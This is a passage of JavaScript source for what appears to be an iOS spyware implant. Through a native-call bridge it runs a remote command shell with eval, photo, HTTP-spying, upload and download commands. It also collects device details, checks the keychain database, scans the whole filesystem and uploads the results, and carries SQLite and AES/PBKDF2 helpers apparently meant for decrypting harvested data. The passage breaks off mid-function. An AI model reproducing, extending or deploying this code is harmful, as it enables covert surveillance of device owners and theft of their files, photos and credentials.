_task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar args = _parseArgs(commandStr);\n\tif (!args.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar cmdName = args[0].toLowerCase();\n\tvar result = null;\n\n\ttry {\n\t\tswitch (cmdName) {\n\t\t\tcase \"ls\": case \"dir\": result = _cmdLs(args); break;\n\t\t\tcase \"cat\": case \"type\": result = _cmdCat(args); break;\n\t\t\tcase \"pwd\": result = _cmdPwd(); break;\n\t\t\tcase \"cd\": result = _cmdCd(args); break;\n\t\t\tcase \"mkdir\": case \"md\": result = _cmdMkdir(args); break;\n\t\t\tcase \"rm\": case \"del\": result = _cmdRm(args); break;\n\t\t\tcase \"cp\": case \"copy\": result = _cmdCp(args); break;\n\t\t\tcase \"mv\": case \"move\": case \"ren\": result = _cmdMv(args); break;\n\t\t\tcase \"stat\": result = _cmdStat(args); break;\n\t\t\tcase \"chmod\": result = _cmdChmod(args); break;\n\t\t\tcase \"touch\": result = _cmdTouch(args); break;\n\t\t\tcase \"ln\": result = _cmdLn(args); break;\n\t\t\tcase \"readlink\": result = _cmdReadlink(args); break;\n\t\t\tcase \"find\": result = _cmdFind(args); break;\n\t\t\tcase \"head\": result = _cmdHead(args); break;\n\t\t\tcase \"tail\": result = _cmdTail(args); break;\n\t\t\tcase \"wc\": result = _cmdWc(args); break;\n\t\t\tcase \"grep\": result = _cmdGrep(args); break;\n\t\t\tcase \"du\": result = _cmdDu(args); break;\n\t\t\tcase \"file\": result = _cmdFile(args); break;\n\t\t\tcase \"hexdump\": result = _cmdHexdump(args); break;\n\t\t\tcase \"whoami\": result = _cmdWhoami(); break;\n\t\t\tcase \"id\": result = _cmdId(); break;\n\t\t\tcase \"uname\": result = _cmdUname(args); break;\n\t\t\tcase \"hostname\": result = _cmdHostname(); break;\n\t\t\tcase \"df\": result = _cmdDf(args); break;\n\t\t\tcase \"date\": result = _cmdDate(); break;\n\t\t\tcase \"echo\": result = _cmdEcho(args); break;\n\t\t\tcase \"ps\": result = _cmdPs(args); break;\n\t\t\tcase \"memdump\": result = _cmdMemdump(args); break;\n\t\t\tcase \"ifconfig\": case \"ipconfig\": result = _cmdIfconfig(args); break;\n\t\t\tcase \"netstats\": case \"netstat\": result = _cmdNetstats(args); break;\n\t\t\tcase \"connections\": case \"conn\": result = _cmdConnections(args); break;\n\t\t\tcase \"httpspy\": case \"spy\": result = _cmdHttpspy(args); break;\n\t\t\tcase \"download\": result = _cmdDownload(args, cmd); break;\n\t\t\tcase \"photos\": result = _cmdPhotos(args, cmd); break;\n\t\t\tcase \"apps\": result = _cmdApps(); break;\n\t\t\tcase \"upload\": case \"file_upload\": result = _cmdUpload(args, cmd); break;\n\t\t\tcase \"eval\": case \"exec\": case \"js\": result = _cmdEvalCode(args); break;\n\t\t\tcase \"help\": case \"?\": result = _cmdHelp(); break;\n\t\t\tdefault:\n\t\t\t\tresult = { code: 127, out: \"\", err: cmdName + \": command not found. Type 'help' for available commands.\\n\" };\n\t\t}\n\t} catch (e) {\n\t\tresult = { code: 1, out: \"\", err: \"error: \" + String(e) + \"\\n\" };\n\t}\n\n\tif (result === null) return;\n\n\tvar endMs = Date.now();\n\tvar execTime = (endMs - startMs) / 1000;\n\n\tsendJSON(cmd.command_id, {\n\t\texit_code: result.code,\n\t\tstdout: _strToB64(result.out),\n\t\tstderr: _strToB64(result.err),\n\t\texecution_time: execTime,\n\t\ttimeout: execTime >= timeoutSec,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: p._task_type || \"\"\n\t}, \"exec_result.json\");\n}\n\nfunction handleBasicInfo(cmd) {\n\tvar info = {\n\t\tuuid: DEVICE_UUID,\n\t\tmachine: DEVICE_MODEL,\n\t\t_task_id: (cmd.params && cmd.params._task_id) || \"\",\n\t\t_task_type: (cmd.params && cmd.params._task_type) || \"\",\n\t\tcollect_time: Date.now(),\n\t\tos_type: \"iOS\"\n\t};\n\n\t// 1. Kernel / system info via uname\n\ttry {\n\t\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\t\tif (uts && uts !== 0n) {\n\t\t\tNative.callSymbol(\"uname\", uts);\n\t\t\tinfo.sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.machine_arch = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", uts);\n\t\t}\n\t} catch(e) { info._err_uname = String(e); }\n\n\t// 2. Disk space via statfs(\"/\")\n\t// struct statfs arm64: f_bsize(u32,0) f_iosize(i32,4) f_blocks(u64,8)\n\t// f_bfree(u64,16) f_bavail(u64,24)\n\ttry {\n\t\tvar sbuf = Native.callSymbol(\"calloc\", 1, 4096);\n\t\tif (sbuf && sbuf !== 0n) {\n\t\t\tvar sr = Number(Native.callSymbol(\"statfs\", \"/\", sbuf));\n\t\t\tif (sr === 0) {\n\t\t\t\tvar bsRaw = new DataView(Native.read(BigInt(sbuf), 4));\n\t\t\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\t\t\tvar blocks = Number(Native.readPtr(BigInt(sbuf) + 8n));\n\t\t\t\tvar bfree = Number(Native.readPtr(BigInt(sbuf) + 16n));\n\t\t\t\tvar bavail = Number(Native.readPtr(BigInt(sbuf) + 24n));\n\t\t\t\tinfo.disk_block_size = bsize;\n\t\t\t\tinfo.disk_total_bytes = blocks * bsize;\n\t\t\t\tinfo.disk_free_bytes = bfree * bsize;\n\t\t\t\tinfo.disk_avail_bytes = bavail * bsize;\n\t\t\t\tinfo.disk_total_gb = Math.round(blocks * bsize / 1073741824 * 10) / 10;\n\t\t\t\tinfo.disk_free_gb = Math.round(bfree * bsize / 1073741824 * 10) / 10;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", sbuf);\n\t\t}\n\t} catch(e) { info._err_statfs = String(e); }\n\n\t// 3. Process identity\n\ttry {\n\t\tinfo.pid = Number(Native.callSymbol(\"getpid\"));\n\t\tinfo.uid = Number(Native.callSymbol(\"getuid\"));\n\t\tinfo.gid = Number(Native.callSymbol(\"getgid\"));\n\t} catch(e) {}\n\n\t// 4. Hostname via gethostname\n\ttry {\n\t\tvar hbuf = Native.callSymbol(\"malloc\", 256);\n\t\tif (hbuf && hbuf !== 0n) {\n\t\t\tvar hr = Number(Native.callSymbol(\"gethostname\", hbuf, 255));\n\t\t\tif (hr === 0) info.hostname = Native.readString(hbuf, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", hbuf);\n\t\t}\n\t} catch(e) {}\n\n\t// 5. Installed apps summary\n\ttry {\n\t\tvar appBase = \"/var/mobile/Containers/Data/Application\";\n\t\tvar appDirs = listDir(appBase);\n\t\tvar appCount = 0;\n\t\tfor (var ai = 0; ai < appDirs.length; ai++) {\n\t\t\tif (appDirs[ai].type === \"dir\") appCount++;\n\t\t}\n\t\tinfo.installed_app_count = appCount;\n\t} catch(e) {}\n\n\t// 6. WiFi passwords file status\n\ttry {\n\t\tvar wfSize = getFileSize(\"/var/Keychains/keychain-2.db\");\n\t\tinfo.keychain_db_size = wfSize > 0 ? wfSize : 0;\n\t} catch(e) {}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, info, \"basic_info.json\",\n\t\t{ start_ms: info.collect_time, end_ms: endMs });\n}\n\n// handleUpdate: disabled for now, will be enabled after persistence is ready\n// function handleUpdate(cmd) { ... }\n\n// ============================================================================\n// disk_scan: recursive filesystem traversal with stat metadata (TXT format)\n// ============================================================================\n\nvar SCAN_WRITE_BUF = 65536;\nvar SCAN_MAX_DEPTH = 20;\nvar SCAN_MAX_ITEMS = 300000;\nvar SCAN_YIELD_EVERY = 2000;\nvar SCAN_SKIP_DIRS = [\n\t\"/dev\", \"/cores\",\n\t\"/System/Library/Caches/com.apple.kernelcaches\",\n\t\"/System/Library/Caches/com.apple.dyld\",\n\t\"/System/Library/PrivateFrameworks\",\n\t\"/System/Library/Frameworks\",\n\t\"/System/Library/Extensions\",\n\t\"/System/Library/CoreServices\",\n\t\"/System/Library/PreferenceBundles\",\n\t\"/System/iOSSupport\",\n\t\"/usr/lib\", \"/usr/libexec\", \"/usr/sbin\", \"/usr/bin\", \"/usr/share\",\n\t\"/usr/standalone\",\n\t\"/private/var/db/dyld_shared_cache_arm64e\",\n\t\"/private/var/hardware\",\n\t\"/private/var/log/asl\",\n\t\"/private/preboot\",\n\t\"/Library/Ringtones\",\n\t\"/Library/Wallpaper\"\n];\n\nfunction _readU16(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 2));\n\treturn b[0] | (b[1] << 8);\n}\nfunction _readI64(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 8));\n\tvar lo = (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n\tvar hi = (b[4] | (b[5] << 8) | (b[6] << 16) | ((b[7] << 24) >>> 0)) >>> 0;\n\treturn hi * 4294967296 + lo;\n}\nfunction _readU8(ptr, off) {\n\treturn new Uint8Array(Native.read(ptr + BigInt(off), 1))[0];\n}\nfunction _readU32(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 4));\n\treturn (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n}\n\nfunction _writeAll(fd, bufSize, ptr, data) {\n\tvar bytes = new Uint8Array(Native.stringToBytes(data, false));\n\tvar pos = 0;\n\twhile (pos < bytes.length) {\n\t\tvar chunk = Math.min(bytes.length - pos, bufSize);\n\t\tvar ab = new ArrayBuffer(chunk);\n\t\tnew Uint8Array(ab).set(bytes.subarray(pos, pos + chunk));\n\t\tNative.write(ptr, ab);\n\t\tvar nw = Number(Native.callSymbol(\"write\", fd, ptr, chunk));\n\t\tif (nw <= 0) return false;\n\t\tpos += nw;\n\t}\n\treturn true;\n}\n\nfunction _sanitizePath(p) {\n\tvar s = \"\";\n\tfor (var i = 0; i < p.length; i++) {\n\t\tvar c = p.charCodeAt(i);\n\t\tif (c === 0x7C) s += \"_\";\n\t\telse if (c === 0x0A || c === 0x0D) s += \" \";\n\t\telse s += p.charAt(i);\n\t}\n\treturn s;\n}\n\nfunction handleDiskScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar startISO = new Date(startMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\n\tvar tmpCandidates = [\n\t\t\"/var/mobile/Library/Caches/ios_disk_scan.txt\",\n\t\t\"/var/mobile/ios_disk_scan.txt\",\n\t\t\"/tmp/ios_disk_scan.txt\"\n\t];\n\tvar tmpPath = \"\";\n\tvar fd = -1;\n\tfor (var ti = 0; ti < tmpCandidates.length; ti++) {\n\t\tfd = Number(Native.callSymbol(\"open\", tmpCandidates[ti], 0x0602, 0x1a4));\n\t\tif (fd >= 0) { tmpPath = tmpCandidates[ti]; break; }\n\t}\n\tif (fd < 0) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"cannot create temp file (tried \" + tmpCandidates.join(\", \") + \")\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar wBuf = Native.callSymbol(\"malloc\", BigInt(SCAN_WRITE_BUF));\n\tvar statBuf = Native.callSymbol(\"malloc\", 144n);\n\tif (!wBuf || wBuf === 0n || !statBuf || statBuf === 0n) {\n\t\tNative.callSymbol(\"close\", fd);\n\t\tif (wBuf && wBuf !== 0n) Native.callSymbol(\"free\", BigInt(wBuf));\n\t\tif (statBuf && statBuf !== 0n) Native.callSymbol(\"free\", BigInt(statBuf));\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"malloc failed\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar pending = \"\";\n\tvar FLUSH_AT = 32768;\n\tvar totalFiles = 0, totalDirs = 0, totalLinks = 0, totalSize = 0;\n\tvar itemCount = 0;\n\tvar hitLimit = false;\n\tvar writeErrors = 0;\n\n\tfunction flush() {\n\t\tif (pending.length > 0) {\n\t\t\tif (!_writeAll(fd, SCAN_WRITE_BUF, wBuf, pending)) writeErrors++;\n\t\t\tpending = \"\";\n\t\t}\n\t}\n\tfunction emit(line) {\n\t\tpending += line + \"\\n\";\n\t\tif (pending.length >= FLUSH_AT) flush();\n\t}\n\n\ttry {\n\t\temit(\"# =====================================\");\n\t\temit(\"# Directory Scan Result\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan directory: /\");\n\t\temit(\"# Start time: \" + startISO);\n\t\temit(\"# Start timestamp: \" + startMs);\n\t\temit(\"# =====================================\");\n\t\temit(\"# Format (separator: |)\");\n\t\temit(\"# Col1: Full path\");\n\t\temit(\"# Col2: Type (FILE=file DIR=directory LNK=symlink)\");\n\t\temit(\"# Col3: Attributes (D=directory A=archive R=readonly H=hidden L=symlink)\");\n\t\temit(\"# Col4: Created time (ms timestamp)\");\n\t\temit(\"# Col5: Modified time (ms timestamp)\");\n\t\temit(\"# Col6: Accessed time (ms timestamp)\");\n\t\temit(\"# Col7: Size (bytes, 0 for dirs)\");\n\t\temit(\"# =====================================\");\n\n\t\tvar stack = [\"/\", 0];\n\t\tvar stackLen = 2;\n\n\t\twhile (stackLen > 0) {\n\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\tvar depth = stack[stackLen - 1];\n\t\t\tvar dirPath = stack[stackLen - 2];\n\t\t\tstackLen -= 2;\n\n\t\t\tif (depth > SCAN_MAX_DEPTH) continue;\n\n\t\t\tvar skip = false;\n\t\t\tfor (var si = 0; si < SCAN_SKIP_DIRS.length; si++) {\n\t\t\t\tif (dirPath === SCAN_SKIP_DIRS[si] ||\n\t\t\t\t\tdirPath.indexOf(SCAN_SKIP_DIRS[si] + \"/\") === 0) {\n\t\t\t\t\tskip = true; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (skip) continue;\n\n\t\t\tvar dh = Native.callSymbol(\"opendir\", dirPath);\n\t\t\tif (!dh || dh === 0n) continue;\n\n\t\t\ttry {\n\t\t\t\tfor (;;) {\n\t\t\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\t\t\tvar ent = Native.callSymbol(\"readdir\", BigInt(dh));\n\t\t\t\t\tif (!ent || ent === 0n) break;\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar dtype = new Uint8Array(Native.read(BigInt(ent) + 20n, 1))[0];\n\t\t\t\t\t\tvar name = Native.readString(BigInt(ent) + 21n, 256);\n\t\t\t\t\t\tif (name === \".\" || name === \"..\") continue;\n\n\t\t\t\t\t\tvar fullPath = dirPath === \"/\" ? \"/\" + name : dirPath + \"/\" + name;\n\t\t\t\t\t\tvar ret = Number(Native.callSymbol(\"lstat\", fullPath, BigInt(statBuf)));\n\n\t\t\t\t\t\tvar ftype = \"FILE\", attrs = \"-A----\", fsize = 0;\n\t\t\t\t\t\tvar ctime = 0, mtime = 0, atime = 0;\n\n\t\t\t\t\t\tif (ret === 0) {\n\t\t\t\t\t\t\tvar mode = _readU16(BigInt(statBuf), 4);\n\t\t\t\t\t\t\tvar fmt = mode & 0xF000;\n\t\t\t\t\t\t\tif (fmt === 0x4000) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else if (fmt === 0xA000) {\n\t\t\t\t\t\t\t\tftype = \"LNK\"; attrs = \"----L-\"; totalLinks++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tftype = \"FILE\";\n\t\t\t\t\t\t\t\tfsize = _readI64(BigInt(statBuf), 96);\n\t\t\t\t\t\t\t\ttotalSize += fsize;\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t\tvar writable = mode & 0x0080;\n\t\t\t\t\t\t\t\tvar hidden = name.charAt(0) === \".\";\n\t\t\t\t\t\t\t\tattrs = \"-A\" + (writable ? \"-\" : \"R\") + (hidden ? \"H\" : \"-\") + \"--\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tatime = _readI64(BigInt(statBuf), 32) * 1000;\n\t\t\t\t\t\t\tmtime = _readI64(BigInt(statBuf), 48) * 1000;\n\t\t\t\t\t\t\tctime = _readI64(BigInt(statBuf), 80) * 1000;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (dtype === 4) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\temit(_sanitizePath(fullPath) + \"|\" + ftype + \"|\" + attrs + \"|\" + ctime + \"|\" + mtime + \"|\" + atime + \"|\" + fsize);\n\t\t\t\t\t\titemCount++;\n\n\t\t\t\t\t\tif (itemCount % SCAN_YIELD_EVERY === 0) {\n\t\t\t\t\t\t\tNative.callSymbol(\"usleep\", 10000);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((dtype === 4 || (ret === 0 && (_readU16(BigInt(statBuf), 4) & 0xF000) === 0x4000))\n\t\t\t\t\t\t\t&& dtype !== 10) {\n\t\t\t\t\t\t\tstack[stackLen] = fullPath;\n\t\t\t\t\t\t\tstack[stackLen + 1] = depth + 1;\n\t\t\t\t\t\t\tstackLen += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch(entErr) {}\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"closedir\", BigInt(dh));\n\t\t\t}\n\t\t}\n\n\t\tvar endMs = Date.now();\n\t\tvar endISO = new Date(endMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\t\tvar elapsed = (endMs - startMs) / 1000;\n\t\tvar totalItems = totalFiles + totalDirs;\n\t\tvar speed = elapsed > 0 ? Math.round(totalItems / elapsed) : totalItems;\n\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan Statistics\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Total files: \" + totalFiles);\n\t\temit(\"# Total dirs: \" + totalDirs);\n\t\temit(\"# Total symlinks: \" + totalLinks);\n\t\temit(\"# Total items scanned: \" + itemCount);\n\t\temit(\"# Total size (bytes): \" + totalSize);\n\t\temit(\"# Hit item limit: \" + (hitLimit ? \"YES (\" + SCAN_MAX_ITEMS + \")\" : \"NO\"));\n\t\temit(\"# Max depth: \" + SCAN_MAX_DEPTH);\n\t\temit(\"# Write errors: \" + writeErrors);\n\t\temit(\"# Elapsed (seconds): \" + Math.round(elapsed));\n\t\temit(\"# Speed (items/sec): \" + speed);\n\t\temit(\"# End time: \" + endISO);\n\t\temit(\"# End timestamp: \" + endMs);\n\t\temit(\"# =====================================\");\n\n\t} catch(scanErr) {\n\t\temit(\"# SCAN ERROR: \" + String(scanErr));\n\t}\n\n\tflush();\n\tNative.callSymbol(\"fsync\", fd);\n\tNative.callSymbol(\"free\", BigInt(wBuf));\n\tNative.callSymbol(\"free\", BigInt(statBuf));\n\n\tvar fileSize = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\n\tvar upResult = _sendChunksFromFd(cmd.command_id, fd, fileSize, \"scanDisk_root.txt\", \"disk_scan\",\n\t\t{ start_ms: startMs, end_ms: Date.now() });\n\n\tNative.callSymbol(\"close\", fd);\n\tfd = -1;\n\tNative.callSymbol(\"unlink\", tmpPath);\n\n\tif (!upResult || !upResult.ok) {\n\t\ttry {\n\t\t\tsendJSON(cmd.command_id, {\n\t\t\t\tstatus: \"upload_failed\",\n\t\t\t\terror: upResult ? upResult.error : \"null result\",\n\t\t\t\tchunks_sent: upResult ? upResult.sent : 0,\n\t\t\t\tchunks_total: upResult ? upResult.total : 0,\n\t\t\t\tfile_size: fileSize,\n\t\t\t\tscan_items: itemCount,\n\t\t\t\ttmp_path: tmpPath,\n\t\t\t\t_task_id: p._task_id || \"\",\n\t\t\t\t_task_type: p._task_type || \"\"\n\t\t\t}, \"disk_scan_error.json\");\n\t\t} catch(re) {}\n\t}\n}\n\n// ============================================================================\n// Native SQLite Query Helper\n// ============================================================================\n\nvar _sqliteLoaded = false;\nfunction _ensureSqlite() {\n\tif (_sqliteLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\", \"/usr/lib/libsqlite3.dylib\", 1);\n\tif (!h || h === 0n) return false;\n\t_sqliteLoaded = true;\n\treturn true;\n}\n\nfunction _sqliteQuery(dbPath, sql, maxRows) {\n\tif (!_ensureSqlite()) return null;\n\tmaxRows = maxRows || 500;\n\tvar ppDb = Native.callSymbol(\"malloc\", 8);\n\tif (!ppDb || ppDb === 0n) return null;\n\tNative.write64(ppDb, 0n);\n\tvar rc = Number(Native.callSymbol(\"sqlite3_open_v2\", dbPath, ppDb, 1, 0n));\n\tvar db = Native.readPtr(ppDb);\n\tNative.callSymbol(\"free\", ppDb);\n\tif (rc !== 0 || !db || db === 0n) {\n\t\tif (db && db !== 0n) Native.callSymbol(\"sqlite3_close\", db);\n\t\treturn null;\n\t}\n\ttry {\n\t\tvar ppStmt = Native.callSymbol(\"malloc\", 8);\n\t\tif (!ppStmt || ppStmt === 0n) return null;\n\t\tNative.write64(ppStmt, 0n);\n\t\trc = Number(Native.callSymbol(\"sqlite3_prepare_v2\", db, sql, -1, ppStmt, 0n));\n\t\tvar stmt = Native.readPtr(ppStmt);\n\t\tNative.callSymbol(\"free\", ppStmt);\n\t\tif (rc !== 0 || !stmt || stmt === 0n) return null;\n\t\ttry {\n\t\t\tvar rows = [];\n\t\t\tvar colCount = Number(Native.callSymbol(\"sqlite3_column_count\", stmt));\n\t\t\tvar colNames = [];\n\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\tvar np = Native.callSymbol(\"sqlite3_column_name\", stmt, c);\n\t\t\t\tcolNames.push(np && np !== 0n ? Native.readString(np, 256).replace(/\\0/g, \"\") : \"col\" + c);\n\t\t\t}\n\t\t\twhile (rows.length < maxRows) {\n\t\t\t\trc = Number(Native.callSymbol(\"sqlite3_step\", stmt));\n\t\t\t\tif (rc !== 100) break;\n\t\t\t\tvar row = {};\n\t\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\t\tvar tp = Number(Native.callSymbol(\"sqlite3_column_type\", stmt, c));\n\t\t\t\t\tif (tp === 5) { row[colNames[c]] = null; continue; }\n\t\t\t\t\tif (tp === 1) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_int64\", stmt, c));\n\t\t\t\t\t} else if (tp === 2) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_double\", stmt, c));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar txtP = Native.callSymbol(\"sqlite3_column_text\", stmt, c);\n\t\t\t\t\t\tvar txtLen = Number(Native.callSymbol(\"sqlite3_column_bytes\", stmt, c));\n\t\t\t\t\t\tif (txtP && txtP !== 0n && txtLen > 0) {\n\t\t\t\t\t\t\trow[colNames[c]] = Native.readString(txtP, txtLen + 1).substring(0, txtLen);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trow[colNames[c]] = \"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trows.push(row);\n\t\t\t}\n\t\t\treturn { columns: colNames, rows: rows };\n\t\t} finally { Native.callSymbol(\"sqlite3_finalize\", stmt); }\n\t} finally { Native.callSymbol(\"sqlite3_close\", db); }\n}\n\n// ============================================================================\n// Native CommonCrypto Wrappers\n// ============================================================================\n\nfunction _sha256(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_SHA256\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _hmacSha256(key, data) {\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(key.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, key.buffer ? key.buffer : key);\n\tNative.write(dataBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(key.length),\n\t\tdataBuf, BigInt(data.length), outBuf);\n\tvar mac = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn mac;\n}\n\nfunction _pbkdf2(password, salt, iterations, keyLen) {\n\tvar pwBytes = new Uint8Array(password.length);\n\tfor (var i = 0; i < password.length; i++) pwBytes[i] = password.charCodeAt(i);\n\tvar hLen = 32;\n\tvar numBlocks = Math.ceil(keyLen / hLen);\n\tvar dk = new Uint8Array(numBlocks * hLen);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(pwBytes.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(Math.max(salt.length + 4, hLen)));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, pwBytes.buffer);\n\tfor (var blk = 1; blk <= numBlocks; blk++) {\n\t\tvar intBe = new Uint8Array(4);\n\t\tintBe[0] = (blk >>> 24) & 0xff;\n\t\tintBe[1] = (blk >>> 16) & 0xff;\n\t\tintBe[2] = (blk >>> 8) & 0xff;\n\t\tintBe[3] = blk & 0xff;\n\t\tvar msg = new Uint8Array(salt.length + 4);\n\t\tmsg.set(salt instanceof Uint8Array ? salt : new Uint8Array(salt), 0);\n\t\tmsg.set(intBe, salt.length);\n\t\tNative.write(dataBuf, msg.buffer);\n\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\tdataBuf, BigInt(msg.length), outBuf);\n\t\tvar u = new Uint8Array(Native.read(outBuf, 32));\n\t\tvar t = new Uint8Array(u);\n\t\tfor (var iter = 1; iter < iterations; iter++) {\n\t\t\tNative.write(dataBuf, u.buffer);\n\t\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\t\tdataBuf, 32n, outBuf);\n\t\t\tu = new Uint8Array(Native.read(outBuf, 32));\n\t\t\tfor (var j = 0; j < hLen; j++) t[j] ^= u[j];\n\t\t}\n\t\tdk.set(t, (blk - 1) * hLen);\n\t}\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn dk.slice(0, keyLen);\n}\n\nfunction _aesEcbEncryptBlock(cryptorRef, block16) {\n\tvar inBuf = Native.callSymbol(\"malloc\", 16n);\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\treturn null;\n\t}\n\tNative.write(inBuf, block16.buffer ? block16.buffer : block16);\n\tNative.write64(writtenBuf, 0n);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\tcryptorRef, inBuf, 16n, outBuf, 32n, writtenBuf));\n\tvar written = Number(Native.readPtr(writtenBuf));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", writtenBuf);\n\tif (rc !== 0 || written < 16) { Native.callSymbol(\"free\", outBuf); return null; }\n\tvar result = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", outBuf);\n\treturn result;\n}\n\nfunction _aesCtrDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return 